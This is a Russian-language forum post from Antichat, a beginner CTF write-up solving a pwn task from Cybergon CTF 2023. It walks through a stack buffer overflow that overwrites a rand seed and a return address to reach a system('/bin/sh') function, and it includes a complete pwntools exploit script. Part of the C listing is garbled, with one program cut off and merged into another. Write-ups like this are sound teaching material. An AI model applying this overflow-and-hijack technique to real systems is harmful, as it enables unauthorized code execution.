ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   really random??? Чильный таск на PWN с CYBERGON CTF 2023 (https://forum.antichat.xyz/showthread.php?t=1642753)

AFANX 20.08.2023 21:40

https://forum.antichat.xyz/attachmen...2551931793.png

Ку, киберрекруты. Чет давно цтфки не гамал. Зашел на днях почекать ctftime и наткнулся на какой-то CybergonCTF и заинтересовал меня там один таск на пывн. По своей сути он простой, но для новичков в бинарщине то, что надо. Поэтому данная статья именно для них.

Описание

https://forum.antichat.xyz/attachmen...2551999754.png

Из описания задания, как обычно, толком никакой информации. Название может натолкнуть на мысль, что нужно будет что-то делать с рандомом

Начнем

Первым делом нужно сделать первичный анализ бинаря. К этому относится:
  1. file
  2. strings
  3. checksec
  4. поиск UPX
  5. гаджеты
Чтобы это все не прописывать в ручную, есть утилита, которая делает это все
автоматически и выводит все в одно окно - J0llyTr0llz

После клонирования репозитория и установки всех библиотек
Код:

sudo ./setuptools/sh
,
можно ее запустить
Код:

python3 main.py
и появится такое окно:

https://forum.antichat.xyz/attachmen...2552125250.png

Нажимаем сочитание клавиш
Код:

Ctrl+O
и открываем бинарь.

Код:

readelf
сообщает, что это 64 разрядная версия и порядок байт - littleend:

https://forum.antichat.xyz/attachmen...2552146179.png

Код:

file
тому подтверждение

https://forum.antichat.xyz/attachmen...2552160531.png

нет
Код:

UPX
, так же нет канарейки и отключена рандомизация адресов:

https://forum.antichat.xyz/attachmen...2552176696.png

Теперь посмотрим на
Код:

strings
. Для этого надо нажать сочитание клавиш
Код:

Ctrl+S
и просмотрев можно заметить строку
Код:

/bin/sh
https://forum.antichat.xyz/attachmen...2552193163.png

Если в названии есть слово рандом, то скорее всего присутсвуют соответсвущие строки:

https://forum.antichat.xyz/attachmen...2552215034.png

Теперь нужно поиграть с сервисом, чтобы понять его возможности.

Сначала вводим имя, потом 10 рандомных цифр

https://forum.antichat.xyz/attachmen...2552238382.png

Пока ничего не понятно. Поэтому настало время реверса.

Реверс

Традиционно буду использовать IDA Pro и edb.

Первое, что бросается в глаза, так это самое начало программы:

https://forum.antichat.xyz/attachmen...2552267676.png

Здесь вводим имя и есть интересные моменты с
Код:

seed
. Сначала генерится инструкциями:

Код:


Код:

call _rand
mov [rbp+seed], eax

После передается в srand :

Код:


Код:

mov eax, [rbp+seed]
mov edi, eax
call _srand

Не стоит расстраиваться раньше времени. Между этими двумя участками, мы вводим имя:

https://forum.antichat.xyz/attachmen...2552372332.png

Теперь посмотрим на локальные переменные:

https://forum.antichat.xyz/attachmen...2552385040.png

Не вооруженным глазом можно заметить, что
Код:

var_80
лежит перед
Код:

seed
. Да, к тому же, буффер можно переполнить ибо нет контроля ввода данных. Из этого следует, что можно переписать
Код:

seed
и уже заранее знать, что будет рандомиться.

Участок кода далее уже не несет смысловую нагрузку, потому что он просто рандомит числа и заполняет какой-то глобальный массив интов

https://forum.antichat.xyz/attachmen...2552399635.png

Далее вводим числа и тоже заполняем уже какой-то второй массив интов

https://forum.antichat.xyz/attachmen...2552414565.png

Происходит сравнение элементов двух массивов и если все нормас, то выведет сообщение
Код:

Correct!
https://forum.antichat.xyz/attachmen...2552452555.png

Так же есть прикольная функция
Код:

potato
, в которой лежит вызов
Код:

/bin/sh
и именно к ней мы стремимся

https://forum.antichat.xyz/attachmen...2552469357.png

И так. Имеем следующее: можно переполнить буффер и переписать
Код:

seed
, тем самым будем знать какие числа будут генериться, можно привести к произвольному управлению. Осталось написать программу на языке C, чтобы получить рандомные числа и написать сплойт.

Пишем эксплойт

Сначала прога на языке Си, которая выглядит так:

C:


Код:

#include
#include
int
main
(
)
{
srand
(
0x41414141
)
;
printf
(
"["
)
;
for
(
int
i
=
0
;
i

#include
int
seed
=
0x41414141
;
unsigned
int
rc4_output
(
int
r
)
{
return
(
unsigned
int
)
(
(
r
+
seed
)
%
256
)
;
}
int
main
(
)
{
srand
(
seed
)
;
printf
(
"["
)
;
for
(
int
i
=
0
;
i
<
10
;
i
++
)
{
printf
(
"0x%x, "
,
rc4_output
(
rand
(
)
)
)
;
}
printf
(
"]\n"
)
;
return
0
;
}

Результат выполнения:

Код:


Код:

[0xffffffe1, 0xef, 0xffffff78, 0xc9, 0xffffff45, 0xdf, 0xffffff2a, 0xffffffa2, 0xd3, 0xffffffe4]
Теперь настало время эксплойта.

Для добития до
Код:

seed
необходимо 112 каких-нибудь байтов. Сам
Код:

seed
будет равен
Код:

0x41414141
, что означает
Код:

AAAA
. Далее объявим переменную
Код:

potato
, в которой будет адрес победной функции и сам payload. Данный участок кода выглядит так:

Python:


Код:

junk
=
b'A'
*
112
seed
=
b'AAAA'
potato
=
p64
(
0x0000000004011BA
)
payload
=
junk
+
seed
+
(
b'A'
*
20
)
+
potato

Далее просто посылаем это все нашему таргету:

Python:


Код:

io
.
recvuntil
(
b'What is your name? '
)
io
.
sendline
(
payload
)
io
.
recvuntil
(
b'Guess my numbers!'
killRand
(
)

Функция
Код:

killRand()
она банально отправляет нужные числа программе:

Код:


Код:

def killRand():
    rand = [0x00000000FFFFFFE1, 0x00000000000000EF, 0x00000000FFFFFF78, 0x00000000000000C9,
    0x00000000FFFFFF45,0x00000000000000DF,0x00000000FFFFFF2A, 0x00000000FFFFFFA2,
    0x00000000000000D3,0x00000000FFFFFFE4]
    for i in rand: 
        tmp = str(i)
        io.sendline(tmp.encode())

Полный сплойт выглядит так:

Python:


Код:

from
pwn
import
*
exe
=
context
.
binary
=
ELF
(
'./random'
)
def
start
(
argv
=
[
]
,
*
a
,
**
kw
)
:
if
args
.
GDB
:
return
gdb
.
debug
(
[
exe
.
path
]
+
argv
,
gdbscript
=
gdbscript
,
*
a
,
**
kw
)
elif
args
.
EDB
:
return
process
(
[
'edb'
,
'--run'
,
exe
.
path
]
+
argv
,
*
a
,
**
kw
)
else
:
return
process
(
[
exe
.
path
]
+
argv
,
*
a
,
**
kw
)
gdbscript
=
'''
tbreak main
continue
'''
.
format
(
**
locals
(
)
)
def
killRand
(
)
:
rand
=
[
0x00000000FFFFFFE1
,
0x00000000000000EF
,
0x00000000FFFFFF78
,
0x00000000000000C9
,
0x00000000FFFFFF45
,
0x00000000000000DF
,
0x00000000FFFFFF2A
,
0x00000000FFFFFFA2
,
0x00000000000000D3
,
0x00000000FFFFFFE4
]
for
i
in
rand
:
tmp
=
str
(
i
)
io
.
sendline
(
tmp
.
encode
(
)
)
io
=
start
(
)
junk
=
b'A'
*
112
seed
=
b'AAAA'
potato
=
p64
(
0x0000000004011BA
)
payload
=
junk
+
seed
+
(
b'A'
*
20
)
+
potato

io
.
recvuntil
(
b'What is your name? '
)
io
.
sendline
(
payload
)
io
.
recvuntil
(
b'Guess my numbers!'
)
killRand
(
)
io
.
interactive
(
)

Проверим работу этого всего дела. Для этого в EDB , поставлю точку останова сразу же в конце выполнения программы, то есть сюда

https://forum.antichat.xyz/attachmen...2552818334.png

Если все сработало, то во первых будет сообщение
Код:

Correct!
, во вторых попаду в нужную функцию.

Дошел до этого места, значит полет нормальный

https://forum.antichat.xyz/attachmen...2552847297.png

Теперь дохожу до инструкции
Код:

ret
и попаду в
Код:

potato
https://forum.antichat.xyz/attachmen...2552857186.png

Собственно чтд, вызовется функция
Код:

system('/bin/sh')
https://forum.antichat.xyz/attachmen...2552871784.png

https://forum.antichat.xyz/attachmen...2552878750.png

Теперь попробую запустить на сервере и получу RCE:

https://forum.antichat.xyz/attachmen...2552889296.png


Время: 12:39